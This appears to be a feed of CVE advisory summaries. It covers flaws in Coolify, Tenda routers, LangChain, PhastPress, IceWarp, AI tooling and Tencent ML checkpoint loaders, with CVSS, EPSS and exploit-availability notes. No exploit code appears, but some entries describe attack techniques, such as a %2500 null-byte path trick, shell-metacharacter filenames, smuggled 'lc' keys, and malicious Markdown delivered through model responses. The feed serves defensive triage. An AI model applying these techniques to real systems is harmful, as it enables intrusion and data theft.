Arbitrary file upload in Cadmium CMS 0.4.9 through /admin/content/filemanager/uploads allows an attacker who can reach the back-office content file manager to place a server-side executable file, potentially achieving code execution with high confidentiality, integrity and availability impact. The supplied CVSS score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), but the independent assessment uses PR:L because the /admin/ path indicates an authenticated backend session is likely required; the exact role and whether uploads are web-executable are not stated in the available sources. A public PoC reference exists in the vendor GitHub issue but is not verified as working exploit code; active exploitation is not confirmed in CISA KEV data, EPSS is 0.38% (32nd percentile), and the vuln.today priority is act_now.
Remote code execution in 5ire 0.15.2 and earlier arises because the desktop AI assistant renders Mermaid diagrams with securityLevel set to 'loose', allowing attacker-supplied HTML/JavaScript embedded in Markdown to execute inside the Electron renderer and potentially reach the host OS. An unauthenticated network attacker can deliver the malicious Markdown through model responses or shared conversations, but exploitation requires the victim to render the content (UI:R). Publicly available exploit code exists; there is no confirmed active exploitation (not in CISA KEV).
Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with application or service management permissions to execute arbitrary commands as root on managed servers. All Coolify 4.0.0 beta builds prior to beta.451 are affected, publicly available exploit code exists, and the upstream fix also covers database names used in backup configuration. EPSS is low at 0.41% (61st percentile), but the impact is severe for multi-user or multi-tenant deployments where lower-trust operators hold management rights.
Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via docker exec on managed servers, allowing an authenticated user with application/service management permissions to run arbitrary commands as root. Exploitation is remote but requires a valid management-capable account (PR:L), so the realistic exposure is multi-user, multi-tenant, or credential-compromise scenarios rather than anonymous mass exploitation. Publicly available exploit code exists and EPSS is modest at 0.41% (61st percentile); no confirmed active exploitation (CISA KEV) at time of analysis.
Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as root on managed servers by supplying a crafted file_storage_directory_source value in the File Storage Directory Mount Path feature. The parameter reaches shell command construction without sanitization, so shell metacharacters enable full host compromise; no victim interaction is required, but the attacker must already be authenticated with management rights. Publicly available exploit code exists, the vendor fixed the flaw in 4.0.0-beta.451, and EPSS is low at 0.20%, suggesting limited observed exploitation at time of analysis.
Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permissions execute arbitrary commands as root on managed servers by supplying a Dynamic Proxy Configuration filename containing shell metacharacters. Exploitation requires a valid low-privilege Coolify account and no user interaction; unauthenticated or read-only users cannot trigger it directly. Publicly available exploit code exists, but EPSS is only 0.20% (41st percentile), and risk is concentrated in multi-user or shared deployments where service-management roles are broadly granted or an operator account is compromised.
A stack-based buffer overflow in the HTTP request handler of Tenda WH450 firmware 1.0.0.18 allows remote attackers to corrupt memory via a crafted request to the /goform/Natlimit endpoint, specifically by manipulating the 'page' argument. Per the CVSS vector (PR:N/UI:N), no authentication or user interaction is required, so any party able to reach the router's web management interface can attempt exploitation. Publicly available exploit code exists (a GitHub proof-of-concept with reproduction steps), but there is no CISA KEV confirmation of active exploitation; EPSS is 1.08% (65th percentile), and real-world risk is bounded by exposure, since SOHO routers typically restrict this interface to the LAN unless WAN-side remote management is enabled or port forwarding exposes it.
Stack-based buffer overflow in the Tenda WH450 1.0.0.18 firmware web management interface allows remote attackers to corrupt memory and potentially hijack execution flow by sending a crafted request to /goform/NatStaticSetting with an oversized 'page' argument (CVSS 4.0 base 8.9; independent assessment CVSS 3.1 9.8-equivalent vector AV:N/AC:L/PR:N/UI:N with high confidentiality, integrity and availability impact to the device). Publicly available exploit code exists in the z472421519/BinaryAudit repository, including a reproduce walkthrough, but there is no CISA KEV listing, so active exploitation is not confirmed. EPSS is 1.08% (65th percentile) - modest but non-trivial for an internet-exposed SOHO device - and the practical risk is gated by exposure, since the WH450 management interface is typically LAN-facing and only reachable from the WAN if remote web administration has been enabled or the device is port-forwarded.
Stack-based buffer overflow in the Tenda WH450 1.0.0.18 HTTP handler /goform/PPTPDClient allows remote attackers to corrupt memory through an oversized Username parameter, with assessed high impact on confidentiality, integrity, and availability. Exploitation requires reachability to the router’s web-management interface, which is typically LAN-bound, and the assessed vector indicates no authentication or user interaction is required. Publicly available exploit code exists, but there is no CISA KEV confirmation of active exploitation.
Stack-based buffer overflow in Tenda WH450 firmware 1.0.0.18 allows unauthenticated remote attackers to corrupt memory, crash the device, and potentially execute code by sending a crafted netmsk value to the /goform/PPTPClient HTTP endpoint; the CVSS 4.0 vector scores 8.9 with no privileges or user interaction required. Publicly available exploit code exists in a GitHub BinaryAudit proof-of-concept, so the flaw is easy to reproduce, though real-world exposure depends on whether the router's management interface is reachable from the attacker's network. Practical exploitation is often limited because SOHO router web management is commonly bound to the LAN interface unless remote/WAN management has been enabled.
Authenticated command injection in Coolify before 4.0.0-beta.451 allows users with application or service management permissions to execute arbitrary commands as root on managed servers through the Database Backup feature. The flaw is caused by database names being inserted into shell commands without sanitization when backup jobs invoke mongodump, pg_dump, mysqldump, and mariadb-dump via docker exec; publicly available exploit code exists and EPSS is 0.20% (42nd percentile). The vendor-released patch is version 4.0.0-beta.451, and no CISA KEV confirmation was provided in the available data.
Serialization injection in langchain-core (below 0.3.81, and 1.0.0 through 1.2.4) allows unauthenticated attackers to smuggle 'lc'-keyed dictionaries through user-controlled fields such as metadata, additional_kwargs, or response_metadata, so that load()/loads() later treats attacker data as a legitimate LangChain Serializable object instead of plain data, enabling secret extraction and instantiation of trusted-namespace classes whose __init__ performs side effects like file or network operations. Exposure is conditional rather than universal: the application must either serialize untrusted data with dumps()/dumpd() and later deserialize it, use astream_events(version='v1'), or use Runnable.astream_log() - astream_events v2 is explicitly not affected, and class instantiation remains confined to the pre-approved langchain_core, langchain, and langchain_community namespaces. Publicly available exploit code exists and NVD rates the flaw 8.2, though our assessment applies AC:H given the preconditions; CISA KEV does not list it, so this is a genuine but conditional risk rather than a drop-everything emergency, and the fix ships breaking changes that require planning.
Server-Side Request Forgery (SSRF) in HTTParty 0.23.2 and earlier enables remote unauthenticated attackers to force the application to make arbitrary HTTP requests to internal network resources and third-party services, potentially leaking API keys and credentials embedded in outbound requests or accessing internal-only endpoints. Publicly available exploit code exists (GitHub Security Advisory GHSA-hm5p-x4rq-38w4), and the CVSS E:P modifier confirms proof-of-concept exploitation. Vendor-released patch is available via commit 0529bcd, though a tagged release version is not confirmed from provided data. EPSS data not provided, but SSRF vulnerabilities targeting API libraries typically see exploitation within weeks of public disclosure due to their prevalence in cloud-native environments.
Remote denial of service in eProsima Fast-DDS v3.3.0 allows unauthenticated network attackers to crash affected processes by sending crafted input that triggers an integer overflow (CWE-190). Fast-DDS is the default DDS middleware in ROS 2, so exploitation can take down robotics and distributed control nodes without any credentials or user interaction. Publicly available exploit code exists (GitHub PoC), though EPSS remains low (0.41%, 33rd percentile) and the CVE is not listed in CISA KEV.
Heap-based use-after-free in FluidSynth 2.5.0 through 2.5.1 built with native DLS support allows memory corruption when a DLS file unload races against synthesizer destruction or against audio synthesis still referencing that file's samples, yielding high confidentiality, integrity and availability impact (CVSS 3.1 base 7.0). The attacker profile is a local, unauthenticated actor (AV:L, PR:N, AC:H, UI:R) who can influence the host application's DLS load/unload and synthesis lifecycle and win a narrow thread-timing window. Publicly available exploit code exists (referenced GitHub issues) but there is no CISA KEV confirmation of active exploitation, and builds compiled without native DLS support are unaffected. Vendor-released patch: 2.5.2.
Server-side request forgery in Local Deep Research 1.3.0 through 1.3.8 lets an authenticated API user submit a crafted resource URL that the download service later fetches with raw requests.get(), bypassing the application's own SSRF validator. Exploitation requires posting the URL to /api/resources/<research_id> and triggering /library/api/download/<resource_id> (CVSS PR:L, no user interaction); realized impact is confidentiality-only and depends on whether the host can actually reach internal services or cloud metadata endpoints such as 169.254.169.254. Publicly available exploit code exists via the GHSA-9c54-gxh7-ppjc write-up and PoC, EPSS is a low 0.32% (23rd percentile), and there is no CISA KEV listing - no public exploit identified at time of analysis as being actively exploited.
Unsafe pickle deserialization in Hugging Face smolagents' remote Python executor allows remote, unauthenticated attackers to execute arbitrary code in the context of the service account running the library (CVSS 10.0 with scope change). Exploitation is conditional: the deployment must expose the remote Python executor such that attacker-controlled data reaches the pickle parsing path, but once that path is reachable the CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates no credentials or user interaction are needed. No public exploit code identified at time of analysis and EPSS is modest at 1.09% (65th percentile), so the practical risk is driven almost entirely by whether an organization has exposed the executor to untrusted input.
Stored cross-site scripting in LibreNMS versions prior to 25.12.0 allows an attacker holding a privileged API token to create or update an alert rule whose name contains HTML markup, which is then executed when another authenticated user opens the Alerts > Alert Rules page. Publicly available exploit code exists, and EPSS is 3.88% (90th percentile), but this is an authentication-gated, moderate-severity issue rather than a top-tier emergency; no CISA KEV confirmation was provided.
Certificate-validation bypass in Eclipse Cyclone DDS before 0.10.5 lets unauthenticated network attackers defeat the DDS Security authentication plugin's certificate checks, and per the advisory execute commands with System privileges. The flaw stems from improper verification of certificate time/expiration (CWE-298), meaning expired or otherwise time-invalid certificates can be accepted as valid, enabling impersonation of trusted DDS participants. The EPSS score is low (0.30%, 22nd percentile) and there is no CISA KEV listing, so despite the maximal 10.0 CVSS there is no confirmed active exploitation at time of analysis.
Improper validation of permissions/ticket revocation in eProsima Fast-DDS 3.3.0 allows revoked or no-longer-valid security credentials to be accepted, permitting unauthorized participants to join a secured DDS domain and exchange data over connections that should have been refused. The flaw sits in the DDS Security access-control layer (Permissions handling) and undermines the confidentiality and integrity guarantees of an otherwise authenticated domain. Rated CVSS 10.0 with a scope change, but EPSS is low (0.30%, 22th percentile) and there is no public exploit identified at time of analysis, so real-world risk is narrower than the base score implies.
Command injection in the Linksys E5600's ddnsStatus handler exposes firmware 1.1.0.26 to remote OS command execution through the router's web management interface. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N) rates it 9.8 because no privileges or user interaction are required, although the sources do not specify the vulnerable parameter or confirm whether an existing admin session is needed. No CISA KEV entry is supplied; EPSS is 1.27% (70th percentile), a public GitHub reference documents the ddnsStatus issue but working exploit code is not confirmed here, and the vuln.today decision label is act_now.
Command injection in the Netgear EX8000 Wi-Fi range extender running firmware 1.0.0.126 lets remote attackers pass unsanitized input through the switch_status function into a system command, potentially yielding arbitrary command execution with high confidentiality, integrity and availability impact (CVSS 9.8, AV:N/AC:L/PR:N/UI:N). The CVSS vector claims no privileges are required, though the available sources do not confirm the exact parameter, endpoint, or whether prior authentication is needed; in practice the affected administrative functionality is typically reachable only from the local or trusted network, which constrains real-world exposure. Exploitation is not confirmed in CISA KEV, but a public proof-of-concept reference exists (a detailed PDF and a demonstration video published by a third-party researcher); EPSS is 1.18% (67th percentile) and the vuln.today decision label is act_now, so signals are mixed but lean toward elevated priority.
NVIDIA Isaac Launchable 1.0 runs components with more privileges than their function requires (CWE-250), so an attacker who can reach or drive those privileged execution paths could obtain code execution, escalate privileges, cause denial of service, or tamper with and disclose data. Only environments that actually deploy Isaac Launchable - a specialized NVIDIA robotics/AI developer component - are exposed, which sharply limits the affected population, and no public exploit code or CISA KEV entry was identified at time of analysis; EPSS is 0.81% (56th percentile), consistent with low observed exploitation activity. Note a scoring divergence: NVIDIA/NVD publishes 9.8 with AV:N/AC:L/PR:N/UI:N, while our assessment scopes the realistic attack vector to local access with low privileges (AV:L/AC:L/PR:L/UI:N), since the privilege-scoping weakness most plausibly requires an existing foothold or the ability to feed input to the over-privileged launchable rather than anonymous remote reach.
NVIDIA Isaac Launchable 1.0 executes launch operations with unnecessary privileges (CWE-250), allowing an attacker who can influence the launch path to inherit the component's elevated rights and potentially achieve code execution, privilege escalation, denial of service, information disclosure, or data tampering. NVIDIA's advisory assigns CVSS 9.8 (AV:N/AC:L/PR:N/UI:N), but independent analysis assesses local, low-privileged exploitation (AV:L/AC:L/PR:L/UI:N) as the more realistic precondition pending confirmation of exposure requirements from NVIDIA advisory 5749. No public exploit code or CISA KEV entry was identified at time of analysis; EPSS is 0.69%.
Unauthenticated remote attackers can bypass authentication in NVIDIA Isaac Launchable 1.0 by using an embedded hard-coded credential (CWE-798), potentially achieving code execution, privilege escalation, denial of service, or data tampering. The issue is rated CVSS 9.8 critical with a PR:N/UI:N vector, meaning no legitimate account or user interaction is required. No CISA KEV listing or public exploit code is identified in the provided data; EPSS is 0.62% (49th percentile).
Unauthenticated remote attackers can coerce Conduit-derived Matrix homeservers into cryptographically signing arbitrary membership events, because the federating homeserver never checks that a signing request actually originated from the domain of the event's sender. Affected deployments are Conduit before 0.10.10, continuwuity before 0.5.0, tuwunel before 1.4.8, and Grapevine before commit 9a50c244; exploitation requires only that the server be reachable over open federation. Attackers can forge 'leave' events to eject any local user (including admins and bots) from rooms, forge 'invite' events to pull themselves into private or invite-only rooms when they control an account with invite power, and forge 'ban' events against users who share a server with the impersonated victim - yielding denial of service, removal of room policy protections, and disclosure of confidential room history and state. No public exploit code was identified at time of analysis, but the flaw is trivially reachable by anyone who can send federation traffic to the endpoint.
Unauthenticated arbitrary file read in the PhastPress WordPress plugin through 3.7 allows remote attackers to retrieve files from the site's webroot, including wp-config.php, by appending a double URL-encoded null byte (%2500) plus an allowed extension such as .txt to a requested path. The defect is a path-validation mismatch: getExtensionForURL() checks the URL-decoded path, while appendNormalized() truncates at the null byte before building the filesystem path, so the extension check passes for a different file than the one opened. The assessed vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, a confidentiality-only impact despite NVD's 9.8 score; EPSS is 0.48% (40th percentile), and no public exploit identified at time of analysis or CISA KEV entry was provided.
Concurrency-driven information disclosure in the Linux kernel's veth (virtual Ethernet) driver allows old or uninitialized packet descriptors to be exposed to AF_XDP consumers when veth is run in threaded-NAPI mode with an XDP program attached. Because the BPF redirect/return context was moved from per-CPU storage into the 'current' task_struct (commit 401cb7dae813), two concurrent veth_poll() invocations can nest the xdp_set/clear_return_frame_no_direct() section and race, corrupting the shared BPF net context. Despite an NVD CVSS of 9.8, this is a local, configuration-dependent kernel race with EPSS at 0.16% (6th percentile), no KEV listing, and no public exploit identified at time of analysis.
Unauthenticated remote code execution in IceWarp 14 allows any network attacker who can reach the mail server's HTTP interface to run arbitrary OS commands as SYSTEM by sending a crafted X-File-Operation header. The flaw is a textbook OS command injection (CWE-78) rated CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), reflecting that no credentials, user interaction, or special preconditions are needed beyond network reachability, and that the injected command inherits the privileges of the IceWarp service. Reported through Trend Micro ZDI as ZDI-CAN-27394 / ZDI-25-1072, at time of analysis there is no public exploit code identified and no indication of active exploitation in CISA KEV, though internet-exposed installs should be considered critically at risk until patched.
Remote command injection in Tenda WH450 firmware 1.0.0.18 allows unauthenticated command execution via the ipaddress parameter in the /goform/CheckTools HTTP endpoint. A publicly available proof-of-concept exploit exists, but the EPSS exploitation probability is low (0.25%).
SQL injection in itsourcecode Student Management System 1.0 allows remote attackers to execute arbitrary SQL commands via the ID parameter of /record.php. Exploit code is publicly available, though active exploitation has not been reported and the EPSS exploitation probability is low (0.05%).
SQL injection in Online Farm System 1.0 allows remote attackers to manipulate database queries through the Username parameter of the /addProduct.php endpoint. Exploit code is publicly available, although the immediate impact is limited to low confidentiality, integrity, and availability effects according to the CVSS assessment. At the time of analysis no active exploitation has been confirmed by CISA KEV, and EPSS indicates a low probability of widespread exploitation.
Unauthenticated attackers can access private, draft, and pending template content in Premium Addons for Elementor WordPress plugin (versions up to 4.11.53) due to a missing capability check in the 'get_template_content' function. This authentication bypass allows unauthorized disclosure of sensitive template data without requiring user interaction or special privileges. A vendor patch is available, and the vulnerability carries a moderate CVSS score of 5.3 with low technical impact but confirmed accessibility to restricted resources.
Serialization injection in LangChain JS affects @langchain/core before 0.3.80 and 1.0.0 through 1.1.7, plus langchain before 0.3.37 and 1.0.0 through 1.2.2, where Serializable.toJSON() fails to escape user-controlled objects containing an 'lc' key inside kwargs such as metadata, additional_kwargs, or response_metadata. If an application later deserializes that JSON with load(), injected data can be treated as legitimate LangChain objects, enabling secret extraction when pre-patch secretsFromEnv behavior is in effect or instantiation of classes already exposed through configured import maps. NVD rates this 9.1, but the assessed vector is AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N because meaningful exploitation requires the specific serialize-then-load workflow and, for the most damaging outcomes, permissive secret or import-map configuration; no public exploit was identified at time of analysis.
Improper input validation in the web management interface of Eaton xComfort ECI lets an attacker who already holds a low-privilege authenticated session send malformed requests to a specific endpoint and thereby execute privileged user commands on the device, with high confidentiality, integrity and availability impact (CVSS 8.8). Exploitation requires network reachability to the ECI web interface plus valid low-level credentials - this is not an unauthenticated flaw - and EPSS is 0.32% (24th percentile) with no public exploit identified at time of analysis. Eaton has discontinued the product and will not ship security updates, so no vendor-released patch is expected.
A reflected cross-site scripting flaw in IceWarp's 'gmaps' webpage allows remote attackers to execute arbitrary script in a victim's browser and use that script execution to bypass authentication on the affected installation. The bug stems from missing validation of a parameter passed to the gmaps endpoint, so an attacker can inject script that runs with the trust of the IceWarp origin. No authentication is required of the attacker, but exploitation depends on user interaction: a targeted IceWarp user must be lured to a malicious page or file, making this a social-engineering-driven, targeted attack most dangerous for internet-facing webmail and collaboration deployments. No public exploit code or confirmed active exploitation was identified at time of analysis; the vendor has released fixed builds.
Beaver Builder WordPress plugin versions through 2.9.4.1 contain a missing capability check in the duplicate_wpml_layout handler that lets any authenticated Subscriber-level user overwrite arbitrary Beaver Builder posts with content copied from other posts, potentially exposing private or password-protected content and destroying unsaved data. The issue is network-reachable, requires only low privileges (relevant on sites allowing open registration), needs no user interaction, and has high confidentiality and integrity impact with no availability impact; scope is limited to posts originally created with Beaver Builder and may depend on WPML integration. EPSS is 0.37% (29th percentile) and no public exploit has been identified at time of analysis.
Directory traversal in the optional Downloader integration of Home Assistant Core before 2025.8.0 lets a caller of the downloader.download_file service supply a crafted 'subdir' value that is concatenated into the target path without full validation, so downloads can be written outside the configured download directory (integrity impact; the assessed vector rates confidentiality as unaffected). Only installations that have explicitly set up the Downloader integration with a download directory are exposed, and invoking the service requires an authenticated session or access token, so this is not plausibly reachable by a fully unauthenticated remote attacker on a default deployment. A public PoC reference exists; it is not verified as working exploit code, EPSS is 0.40% (34th percentile), there is no CISA KEV entry, and the issue is not considered urgent.
Deserialization of untrusted data in Tencent Hunyuan3D-1's load_pretrained function allows code execution in the context of the process (reported as root) when a victim loads an attacker-supplied model file or checkpoint. The CVSS 3.x vector (AV:L/AC:L/PR:N/UI:R) makes this a local-execution attack that is gated on user interaction - the target must open a malicious page or file and trigger load_pretrained on the crafted artifact - rather than a remotely reachable service flaw. Risk is moderate rather than urgent: EPSS is 0.52% (43rd percentile), no public exploit code or CISA KEV entry is associated with the CVE, and the multiplier is that the affected code commonly runs at root, so a successful load yields full host compromise.
Tencent MimicMotion's create_pipeline function deserializes attacker-controlled checkpoint files through torch.load without weights_only=True, enabling arbitrary code execution when a victim loads a malicious model file. The flaw is local-vector and requires user interaction (CVSS 7.8, AV:L/AC:L/PR:N/UI:R), with code running at the privileges of the MimicMotion process-root-level impact only when the tool is run as root. An upstream commit adds safe_globals and weights_only=True; no public exploit was identified at time of analysis, and EPSS is 0.51% (42nd percentile).
Arbitrary code execution in Tencent MedicalNet occurs when the generate_model function in model.py loads a pretrained model via torch.load(opt.pretrain_path) without weights_only=True, allowing a malicious PyTorch checkpoint (.pth) to execute pickle reduce payloads in the context of the user running the training pipeline (typically root in containerized or GPU-server deployments). The attack vector is local (AV:L) with mandatory user interaction (UI:R): a victim must point opt.pretrain_path at, or open, an attacker-supplied model file - there is no network-reachable service and no exploit path against an idle/default installation. No public exploit code or confirmed active exploitation (CISA KEV) was identified at time of analysis, and EPSS is low at 0.51% (42nd percentile), consistent with a tool that is not internet-exposed.
Deserialization of untrusted data in the merge endpoint of Tencent HunyuanDiT lets an attacker who convinces a user to open a malicious model file or visit a crafted page execute arbitrary code with root privileges on the affected installation. The flaw is reachable only through a local attack vector and requires the victim to actively interact with the attacker-supplied artifact, but no authentication is needed and successful exploitation yields full confidentiality, integrity, and availability impact. No public exploit code has been identified at time of analysis and CISA KEV does not list the issue; EPSS sits at 0.51% (42nd percentile), indicating low predicted exploitation activity, so risk is concentrated in environments that routinely ingest third-party model, LoRA, or ControlNet checkpoints.
Deserialization of untrusted PyTorch checkpoint files in Tencent TFace allows an attacker who convinces a user to load a malicious .ckpt/.pt weights file to execute arbitrary code, including as root, through torch.load() calls that omit weights_only=True. Tencent TFace is a research-grade face-recognition toolkit, and the vulnerable sinks span the quality evaluation and training scripts (quality/eval.py, quality/train.py), the recognition and generation/uiface training, sampling and ONNX-export code, and the attribute/M3DFEL solver. The weakness is CWE-502 and the assessed vector is CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8): exploitation is local and requires user interaction - the victim must supply or be tricked into using an attacker-controlled checkpoint as a resume, finetuning or eval-model argument - so risk is concentrated in environments that ingest third-party or untrusted model artifacts rather than against a default running service. No public exploit code was identified and the CVE is not in CISA KEV; EPSS is 0.51% (42nd percentile), consistent with a low-volume, tooling-adjacent flaw.
Deserialization of untrusted data in Tencent HunyuanVideo's load_vae function allows remote attackers to execute arbitrary code in the context of root when a victim loads an attacker-supplied VAE or model checkpoint - for example by opening a malicious model file or visiting a page that triggers a load. Exploitation requires user interaction (CVSS 3.x UI:R) and is a local-vector attack (AV:L, unauthenticated per PR:N) scoring 7.8, with severity amplified in the common deployment pattern where HunyuanVideo runs as root inside default containers. Risk is currently moderate rather than urgent: EPSS is 0.51% (42nd percentile), no public exploit code has been identified at time of analysis, and the project has published an upstream fix that pins torch==2.6.0, whose weights_only=True default closes the torch.load pickle path.
PyTorch checkpoint loading in Tencent TFace (restore_checkpoint and related model-loading paths) deserializes untrusted data, letting an attacker who supplies a malicious .ckpt/.pth file execute arbitrary code in the context of the user running TFace - typically root in the reference ZDI finding. The flaw is local and requires user interaction (CVSS 7.8, AV:L/AC:L/PR:N/UI:R): the victim must explicitly point the toolkit at an attacker-controlled checkpoint, for example via a --resume path or a downloaded 'pretrained' model, so realistic abuse is a supply-chain or social-engineering play against TFace operators rather than remote exploitation of a network service. The upstream project has published a fix commit that adds weights_only=True to every torch.load() call; EPSS is low (0.51%, ~42nd percentile), there is no CISA KEV listing, and no public exploit code was identified at time of analysis.
Arbitrary code execution in Tencent NeuralNLP-NeuralClassifier occurs when the prediction path loads an untrusted PyTorch checkpoint via torch.load() without weights_only=True, allowing a malicious pickle payload to run code in the context of the user (described as root in the ZDI advisory). Affected installations are those using the pre-patch predict.py/_load_checkpoint code or a torch version below 2.6.0; exploitation is local and requires the victim to obtain and load an attacker-controlled model file (UI:R), with no network service directly exposed. No public exploit was identified at time of analysis, the issue is not in CISA KEV, and EPSS is 0.51% (42nd percentile).
Deserialization of untrusted data in Tencent HunyuanDiT's model_resume function allows attackers to execute arbitrary code in the context of the process-potentially root-when a user loads a malicious model checkpoint, requiring user interaction (CVSS 7.8). The flaw stems from unsafe torch.load/pickle handling under the pre-patch pinned PyTorch 2.0.0 dependency; exploitation is local (AV:L) and depends on social engineering the victim into resuming an attacker-supplied model. No public exploit code or CISA KEV entry was identified at time of analysis (EPSS ~0.51%), and an upstream fix commit raises the PyTorch requirement to >=2.7.1.
Deserialization of untrusted data in Tencent PatrickStar's merge_checkpoint endpoint lets an attacker execute arbitrary code with root privileges when a user loads a crafted checkpoint or opens a malicious page that triggers the endpoint. Exploitation requires user interaction and a local attack path; no authentication is needed, but there is no remote unauthenticated network-triggerable route. EPSS is 0.51% (42nd percentile) and no public exploit has been identified at time of analysis.
Deserialization of untrusted data in Tencent FaceDetection-DSFD's resnet model loader (model/resnet.py) allows an attacker to execute arbitrary code at root privilege on installations where a victim loads an attacker-supplied PyTorch weights file. The flaw is CWE-502: self.model_path is passed directly to torch.load(), which deserializes a Python pickle without validation. Exploitation requires user interaction (the target must open or be delivered the malicious model file) and the vector is local (AV:L) and unauthenticated (PR:N); EPSS is low at 0.43% (36th percentile), no public exploit code was identified at time of analysis, and the project is a niche open-source research codebase with no default network-exposed service, so risk is serious but constrained rather than a widespread emergency.
Deserialization of untrusted data in Hugging Face Transformers' X-CLIP checkpoint conversion path (CPE-tagged to 5.0.0rc0) lets an attacker who supplies a crafted checkpoint execute arbitrary code in the context of the process that parses it. This is not a zero-click network attack: the CVSS 3.1 vector AV:L/AC:L/PR:N/UI:R means the malicious file must reach the victim's host and the victim must actively open it or trigger a page that loads it, so exposure is effectively limited to workflows that ingest third-party or otherwise untrusted model checkpoints. No public exploit code has been identified at time of analysis, EPSS is low at 0.37% (29th percentile), and there is no CISA KEV listing; the vendor advisory is ZDI-25-1144 (ZDI-CAN-28308).